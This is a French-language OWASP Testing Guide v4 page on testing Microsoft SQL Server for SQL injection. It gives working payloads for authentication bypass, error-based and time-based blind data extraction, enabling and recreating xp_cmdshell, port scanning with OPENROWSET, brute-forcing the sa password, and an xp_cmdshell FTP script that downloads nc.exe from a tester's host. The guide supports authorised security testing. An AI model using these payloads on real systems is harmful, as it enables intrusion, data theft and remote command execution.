4.8.5.3 Tester SQL Server

From OWASP
Jump to: navigation, search
This article is part of the new OWASP Testing Guide v4.
Back to the OWASP Testing Guide v4 ToC: https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents Back to the OWASP Testing Guide Project: https://www.owasp.org/index.php/OWASP_Testing_Project

Sommaire

Nous allons présenter dans cette section quelques techniques d'injection SQL SQL Injection utilisant des fonctionnalités spécifiques à Microsoft SQL Server.

Les vulnérabilités d'injections SQL SQL Injection adviennent chaque fois qu'une entrée est utilisée dans la construction d'une requête SQL sans avoir été contrôlées et nettoyées. L'utilisation de code SQL dynamique (construction de requêtes SQL par concaténation de chaînes) ouvre la voie à ces vulnérabilités. Une injection SQL permet à un attaquant d'accéder à des serveurs SQL. Cela permet l'exécution de code SQL avec les privilèges de l'utilisateur utilisé pour se connecter à la base de données.


Comme expliqué dans la section SQL injection, une exploitation d'injection SQL nécessite deux choses : un point d'entrée, et une exploitation à entrer. Tout paramètre contrôlé par l'utilisateur et traité par l'application peut dissimuler une vulnérabilité. Cela inclut :

  • Les paramètres applicatifs dans les chaînes des requêtes (c'est-à-dire les requêtes GET)
  • Les paramètres applicatifs inclus dans les requêtes POST
  • Les informations liées aux navigateur (c'est-à-dire les user-agent, referer)
  • Les informations liées aux hôtes (c'est-à-dire les noms d'hôtes, leurs adresses IP)
  • Les informations liées aux sessions (c'est-à-dire le dientifiants utilisateur, les cookies)


Microsoft SQL Server a quelques caractéristiques spécifiques, il faut donc adapter les exploits à cette application.


Comment tester

Caractéristiques de SQL Server

Pour commencer, voyons quels les opérateurs et commande/procédures stockées de SQL Server qui peuvent être utiles pour tester les injections SQL :

  • Opérateur de commentaire : -- (utile pour forcer la requête à ignorer la partie suivante de la requête d'origine ; cela ne sera pas nécessaire dans tous les cas)
  • Séparateur de requête : ; (point-virgule)
  • Quelques procédures stockées utiles :
    • [xp_cmdshell] exécute une commande shell quelconque, avec les permissions de SQL Server. Par défaut, uniquement l'utilisateur sysadmin est autorisé à utiliser cette procédure, et depuis SQL Server 2005 cet utilisateur est désactivé par défaut (il peut être réactivé en utilisant sp_configure)
    • xp_regread lit une valeur arbitraire dans la Registry (procédure étendue non documentée)
    • xp_regwrite écrit une valeur dans la Registry (procédure étendue non documentée)
    • [sp_makewebtask] lance une commande shell Windows et lui passe une chaîne à exécuter. Toutes les sorties seront retournées en ligne de texte. Necessite les privilèges sysadmin.
    • [xp_sendmail] envoie un courriel aux destinataires donnés, qui peut inclure un résultat de requête en pièce-jointe. Cette procédure étendue utilise SQL Mail pour envoyer le message.


Voyons maintenant quelques exemples d'attaques spécifiques à SQL Server utilisant les fonctions mentionnées ci-dessus. La plupart des ces exemples vont utiliser la fonction exec.


Nous allons montrer plus bas une commande shell qui écrit la sortie de la commande dir c:\inetpub dans un fichier accessible par le web, considérant que le serveur web et le serveur de base de données sont sur la même machine. La syntaxe suivante utilise xp_cmdshell :

 exec master.dbo.xp_cmdshell 'dir c:\inetpub > c:\inetpub\wwwroot\test.txt'--

On pourrait aussi utiliser sp_makewebtask:

 exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--


Une exécution réussie va créer un fichier qui peut être accédé par le testeyr. Il faut garde à l'esprit que sp_makewebtask est obsolète, elle pourrait être supprimée dans les versions ultérieures à SQL Server 2005.


De plus, SQL Server comporte des fonctions intégrées eet des variables d'environnement qui peuvent être très utiles. La requête suivant utilise la fonction db_name() pour déclencher une erreur qui va retourner le nom de la base de données :

/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20db_name()) 

Remarquer l'utilisation de [convert]:

CONVERT ( data_type [ ( length ) ] , expression [ , style ] )

CONVERT va essayer de convertir le résultat de db_name (une chaîne) en une variable entière, déclencher une erreur qui, si elle est affichée par l'application vulnérable, va contenir le nom de la base.


L'exemple suivant utilise la variable d'environnement @@version , en la combinant avec une injection de type "union select", afin de découvrir la version de SQL Server.

/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--

Et la même attaque, en utilisant la technique de conversion :

 /controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)


La récolte d'information est utile pour exploiter les vulnérabilités d'SQL Server, grâce à des attaques par injections SQL ou accès direct au listener SQL.


Nous allons maintenant montrer des exemples qui exploitent des vulnérabilités d'injections SQL via divers points d'entrées.


Exemple 1: tester une injection SQL via une requête GET.

Le cas le plus simple (et souvent le plus avantageux) est celui d'une page de connexion demandant un identifiant d'utilisateur et un mot de passe. On peut y entrer la chaîne suivante "' or '1'='1" (sans les guillemets) :

https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&Password='%20or%20'1'='1

Si l'application utilise des requêtes SQL dynamiques, que la chaîne est ajoutée à la requête de vérification des accès utilisateur, cela peut résulter en une connexion réussie à l'application.


Exemple 2: tester une injection SQL dans une requête GET

Pour connaître le nombre de colonnes existantes

https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--


Exemple 3: tester dans une requête POST

Injection SQL dans le contenu d'une requête POST : email=%27&whichSubmit=submit&submit.x=0&submit.y=0


Un exemple plus complet :

POST https://vulnerable.web.app/forgotpass.asp HTTP/1.1
Host: vulnerable.web.app
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://vulnerable.web.app/forgotpass.asp
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
email=%27&whichSubmit=submit&submit.x=0&submit.y=0


Le message d'erreur suivant est obtenu quand on entre un ' (simple quote) dans le champ email :

Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string  '.
/forgotpass.asp, line 15 


Exemple 4: Un autre exemple GET utile

Récupérer le code source de l'application :

a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--


Exemple 5: xp_cmdshell personnalisé

Dans tous les ouvrages et articles traitant des bonnes pratiques de sécurité pour SQL Server, il est recommandé de désactiver xp_cmdshell dans SQL Server 2000 (dans SQL Server 2005 elle désactivée par défaut). Cependant, si on a les droits sysadmin (nativement ou en burte-forçant le mot de passe sysadmin, voir plus bas), on peut contourner cette limitation.

Sous SQL Server 2000:

  • Si xp_cmdshell a été désactivée avec sp_dropextendedproc, on peut injecter simplement le code suivant :
sp_addextendedproc 'xp_cmdshell','xp_log70.dll'
  • Si le code précédent ne fonctionne pas, cela signifie que xp_log70.dll a été déplacé ou effacé. Dans ce cas on doit injecter le code suivant :
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS
  DECLARE @result int, @OLEResult int, @RunResult int
  DECLARE @ShellID int
  EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
  IF @OLEResult <> 0 SELECT @result = @OLEResult
  IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)
  EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
  IF @OLEResult <> 0 SELECT @result = @OLEResult
  IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
  EXECUTE @OLEResult = sp_OADestroy @ShellID
  return @result


Ce code, écrit par Antonin Foller (voir les liens en bas de page), crée une nouvelle fonction xp_cmdshell en utilisant sp_oacreate, sp_oamethod et sp_oadestroy (à condition qu'elles n'aient pas aussi été désactivées, bien sûr). Avant de l'utiliser il faut d'abord effacer la première fonction xp_cmdshell que nous avons créée (même si elle ne fonctionnait pas), sinon les deux déclarations vont entrer en collision.

On SQL Server 2005, xp_cmdshell can be enabled by injecting the following code instead:

master..sp_configure 'show advanced options',1
reconfigure
master..sp_configure 'xp_cmdshell',1
reconfigure


Exemple 6: Referer / User-Agent

L'entête REFERER a cette valeur :

Referer: https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--

Cela permet l'exécution de code SQL arbitraire. Cela arrive aussi si le User-Agent a cette valeur :

User-Agent: user_agent', 'some_ip'); [SQL CODE]--


Exemple 7: utiliser SQL Server comme un scanner de ports

Sous SQL Server, OPENROWSET est une des commandes les plus utiles (pour le testeur d'intrusion). Elle est utilisée pour exécuter une requête sur un autre serveur de base de données et en récupérer les résultats. Le tester peut utiliser cette commande pour scanner les ports des autres machines du réseau ciblé, en injectant la requête suivante :

select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--


La requête va tenter d'ouvrir une connexion vers l'adresse x.y.w.z sur le port p. Si le port est fermé, le message suivant sera retourné :

SQL Server does not exist or access denied


Si le port est ouvert, une des erreurs suivantes sera retournée :

General network error. Check your network documentation
OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error.


Bien sûr, le message d'erreur n'est pas toujours disponible. Si c'est le cas, on peut utiliser le temps de réponse pour comprendre ce qui se passe : en cas de port fermé, le timeout (5 secondes dans cet exemple) sera écoulé, alors qu'un port ouvert retournera un résultat immédiatement.

Il faut garder à l'esprit que OPENROWSET est activée par défaut dans SQL Server 200 mais désactivée dans SQL Server 2005.


Exemple 8: télécharger des exécutables

Une fois que l'on peut utiliser xp_cmdshell (soit la version native soit la version personnalisée), on peut facilement télécharger des exécutables vers le serveur de base de données. Un choix très commun ser netcat.exe, mais un trojan quelconque sera aussi utile ici. Si la cible est autorisée pour démarrer une connexion FTP vers la machine du testeur, il suffit d'injecter les requêtes suivantes :

exec master..xp_cmdshell 'echo open ftp.tester.org > ftpscript.txt';--
exec master..xp_cmdshell 'echo USER >> ftpscript.txt';-- 
exec master..xp_cmdshell 'echo PASS >> ftpscript.txt';--
exec master..xp_cmdshell 'echo bin >> ftpscript.txt';--
exec master..xp_cmdshell 'echo get nc.exe >> ftpscript.txt';--
exec master..xp_cmdshell 'echo quit >> ftpscript.txt';--
exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--


A ce moment, nc.exe sera téléchargé et disponible.

Si le firewall n'autorise pas FTP, il y a moyen de le contourner en exploitant le debogueur Windows, debug.exe, qui est installé par défaut sur toutes les machines Windows. Debug.exe est scriptable et peut créer un exécutable en exécutant le fichier script approprié. Il faut donc convertir l'exécutable en un script de déboguage (qui est un fichier 100% ASCII), de le télécharger ligne par ligne et d'appeler debug.exe dessus. Divers outils permettent de créer de tels fichiers (par exemple makescr.exe d'Ollie Whitehouse et dbgtool.exe de toolcrypt.org). Les requêtes seront les suivantes :

exec master..xp_cmdshell 'echo [debug script line #1 of n] > debugscript.txt';--
exec master..xp_cmdshell 'echo [debug script line #2 of n] >> debugscript.txt';--
....
exec master..xp_cmdshell 'echo [debug script line #n of n] >> debugscript.txt';--
exec master..xp_cmdshell 'debug.exe < debugscript.txt';--


A ce moment, notre exécutable est disponible sur la machine cible, prêt à être exécuté. Il y a des outils pour automatiser ce procédé, notamment Bobcat, tournant sous Windows, et Sqlninja, tournant sous Linux (voir les outils en bas de page).


Obtenir des informations non affichées (out-of-band)

Tout n'est pas perdu lorsque l'application web ne retourne aucune information, telle que des messages d'erreurs explicites (voir Blind SQL Injection). Par exemple, il peut arriver que l'on ait accès au code source (par exemple si l'application est basée sur un logiciel open source). Dans ce cas, le testeur peut exploiter toutes les vulnérabilités d'injection SQL découvertes dans l'application web. Bien qu'un IPS puisse stopper certaines de ces attaques, la meilleure manière de procéder est la suivante : développer et tester les attaques sur un banc d'essai créé à cet effet, puis exécuter ces attaques contre l'application cible elle-même.


D'autres options pour les attaques out-of-band sont dérites dans l'exemple 4 plus haut.


Attaques d'injection SQL en aveugle

Essais et erreurs

De manière différente, on peut tenter de jouer la chance. Dans ce cas, l'attaquant peut considérer qu'il y a une vulnérabilité d'injection SQL out-of-band dans une application web. Il va ensuite choisir un vecteur d'attaque (par exemple une entrée web), utiliser les vecteurs fuzz (1) contre ce canal et regarder les réponses. Par exemple, si l'application web recherche des livres en utilisant la requête

  select * from books where title=texte entré par l'utilisateur

alors le testeur peut entrer le texte : 'Bomba' OR 1=1- et si les données ne sont pas correctement validées, la requête va passer et retourner la liste complète des livres. C'est la preuve qu'il y a une vulnérabilité d'injection SQL. Le testeur peut ensuite jouer avec les requêtes afin d'évaluer la gravité de cette vulnérabilité.


Si plus d'un message d'erreur sont affichés

D'autre part, si aucune information préalable n'est disponible, il y a quand même moyen de monter une attaque en exploitant un covert channel (canal couvert). Il peut arriver que les messages d'erreur soient bloqués, mais que ces messages donnent tout de même quelques informations. Par exemple :

  • Dans certains cas, l'application web (en fait le serveur web) va retourner le message traditionnel 500: Internal Server Error, par exemple quand l'application renvoit une exception générée par des quotes non-fermées.
  • Dans d'autres cas le serveur renverra un message 200 OK, alors que l'application retournera un message d'erreur défini par les développeurs : Internal server error ou bad data.


Ces informations parcellaires peuvent suffire à comprendre comme la requête SQL dynamique est construite, et comment adapter une exploitation. Les résultats stockés dans des fichiers HTML accessibles sont une autre méthode out-of-band.


Attaques temporelles

Il y a encore une autre manière de procéder à une attaque d'injection SQL en aveugle quand on n'a pas de retour visible de l'application : en mesurant le temps que met l'application web à repondre à une requête. Anley ([2]) décrit un tel type d'attaque, le prochain exemple est tiré de cet article. Une approche classique est d'utiliser la commande waitfor delay : considérons que l'attaquant désire vérifier si la base de données d'exemple 'oubs' existe, il va simplement injecter la commande suivante :

if exists (select * from pubs..pub_info) waitfor delay '0:0:5'


En fonction du temps que va prendre la requête pour répondre, il aura sa réponse. En fait il y a deux choses : une vilnérabilité d'injection SQL et un canal caché qui permettent le testeur d'obtenir 1 bit d'information pour chaque requête. Ainsi, en utilisant plusieurs requêtes (autant que de bits d'information à récupérer), le testeur peut obtenir n'importe quelle donnée dans la base. Considérons la requête suivante :

declare @s varchar(8000)
declare @i int
select @s = db_name()
select @i = [some value]
if (select len(@s)) < @i waitfor delay '0:0:5'


En mesurant le temps de réponse pour chaque valeur de @i, on peut déduire la lingueur du nom de la base de donnée courante, puis commencer à extraire le nom lui-même avec la requête suivante :

if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay '0:0:5'


Cette requête va attendre 5 secondes pour chaque '@bit' égal à 1 de '@byte' du nom de la base de données courante, et répondra immédiatement si '@bit' est égal à 0. En imbriquant deux cycles (un pour @byte et un pout @bit) on sera capable d'extraire l'ensemble de l'information.


Cepandant, il arrive parfois que la commande waitfor ne soit pas disponible (parce qu'un IPS ou un pare-feu applicatif la filtre, par exemple). Cela ne signifie pas que les attaques par injection SQL en aveugle soient impossible, puisque le testeur peut utiliser toute opération prenant du temps qui ne sera pas filtrée. Par exemple :

declare @i int select @i = 0
while @i < 0xaffff begin
select @i = @i + 1
end


Vérifier la version et ses vulnérabilités

La même approche temporelle peut être utilisée pour comprendre à quelle version de SQL Server on a à faire. On va bien sûr utiliser la variable intégrée @@version. Considérons la requête suivante :

select @@version


Sous SQL Server 2005, on va obtenir un résultat ressemblant à :

Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 <snip>


La partie '2005' de la chaîne est placée du 22e au 25e caractère. Ainsi, la requête à injecter est la suivante :

if substring((select @@version),25,1) = 5 waitfor delay '0:0:5'


Une telle requête va attendre 5 secondes si le 25e caractère de la variable @@version est '5', dévoilant que l'on a à faire à SQL Server 2005. Si la requête répond immédiatement, on a surement à faire à SQL Server 2000, et une autre requête similaire permettra de le confirmer.


Exemple 9: brute-forcer le mot de passe sysadmin

Pour brute-forcer le mot de passe du sysadmin, on peut utiliser le fait que OPENROWSET nécessite l'accès adéquat pour se connecter et qu'une telle connexion peut être effectuée avec le serveur de base local. En combinant ce fait avec une injection inférentielle basée sur le temps de réponse, on peut injecter le code suivant :

select * from OPENROWSET('SQLOLEDB','';'sa';'<pwd>','select 1;waitfor delay ''0:0:5'' ')


Ici, on essaie d'ouvrir une connexion à la base locale (désignée par le champ vide après 'SQLOLEDB'), en utilisant 'sa' comme identifiant et '<pwd>' comme mot de passe. Si le mot de pasase est correct et que la connexion est réussie, la requête est exécutée et fait attendre la base pendant 5 secondes (et lui fait aussi renvoyer une valeur, puisque OPENROWSET nécessite au moins une colonne). Récupérer les mot de passe à tester depuis une liste de mots et mesurer le temps nécessaire à chaque connexion va nous permettre de deviner le mot de passe correct. Dans "Data-mining with SQL Injection and Inference", David Litchfield pousse la technique encore plus loin, en injectant un morceau de code afin de brute-forcer le mot de passe du sysadmin en utilisant les ressources CPU du serveur de base lui-même.


Une fois le mot de passe du sysadmin connu, on a deux choix :

  • Injecter les requêtes suivantes en utilisant OPENROWSET, afin d'utiliser les privilèges du sysadmin
  • Ajouter notre utilisateur courant dans le group sysadmin en utilisant sp_addsrvrolemember. Le nom de l'utilisateur courant peut être extrait en utilisant une injection inférentielle sur la variable system_user.


N'oublions pas que OPENROWSET est accessible à tout ulisateur sur SQL Server 2000 mais est restreint aux comptes administrateur sur SQL Server 2005.


Outils

Références

Whitepapers